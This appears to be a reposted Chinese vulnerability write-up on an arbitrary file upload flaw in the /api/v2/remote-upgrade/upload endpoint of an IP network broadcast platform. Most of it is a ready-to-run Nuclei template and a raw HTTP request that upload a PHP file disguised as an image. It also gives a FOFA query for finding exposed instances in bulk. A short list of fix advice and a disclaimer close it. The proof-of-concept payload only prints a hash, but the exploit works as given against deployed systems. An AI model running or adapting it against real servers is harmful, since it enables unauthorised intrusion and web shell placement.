漏洞描述：
IP网络广播服务平台upload接口处存在任意文件上传漏洞。攻击者可通过上传包含恶意代码的文件到服务器，使恶意文件被执行，从而导致系统被入侵或遭受其他安全风险。
Nuclei POC
id: IP-wangluoguangbofuwupingtai-fileupload
info:
name: IP网络广播服务平台upload接口处存在任意文件上传漏洞
author: kingkong
severity: high
metadata:
fofa-query: icon_hash="-568806419"
http:
- raw:
- |
POST /api/v2/remote-upgrade/upload HTTP/1.1
Host: {{Hostname}}
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiZYyyKkbwCxtHC1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/api/v2/remote-upgrade/upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundarytiZYyyKkbwCxtHC1
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php echo md5(123456);@unlink(__FILE__);?>
------WebKitFormBoundarytiZYyyKkbwCxtHC1--
- |
GET /uploads/remote_upgrade/{{fileUrl}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'status_code_2 == 200'
- 'contains(body_2,"e10adc3949ba59abbe56e057f20f883e")'
condition: and
extractors:
- type: regex
name: fileUrl
part: body_1
group: 1
regex:
- ([a-zA-Z0-9]{32}.php)
internal: true
搜索语法
FOFA：icon_hash="-568806419"
界面如下
漏洞复现
访问验证
漏洞检测POC
POST /api/v2/remote-upgrade/upload HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Content-Length: 220 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 Cache-Control: max-age=0 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiZYyyKkbwCxtHC1 Origin: http://127.0.0.1 Referer: http://127.0.0.1/api/v2/remote-upgrade/upload Upgrade-Insecure-Requests: 1 ------WebKitFormBoundarytiZYyyKkbwCxtHC1 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/jpeg <?php echo md5(123456);@unlink(__FILE__);?> ------WebKitFormBoundarytiZYyyKkbwCxtHC1-- GET /uploads/remote_upgrade/64e271d9204e814ba6f9094160d21e31.php HTTP/1.1 Host:
neclei批量检测截图
修复建议
1、文件类型验证：仅允许上传特定类型的文件，例如图像、文档等，并拒绝可执行文件或其他潜在的恶意文件类型。
2、文件大小限制：限制上传文件的大小，以防止恶意用户上传过大的文件导致服务器资源耗尽。
3、文件名处理：对上传的文件进行重命名，避免使用用户提供的文件名，以防止路径遍历攻击。
原文始发于微信公众号（脚本小子）：IP网络广播服务平台upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论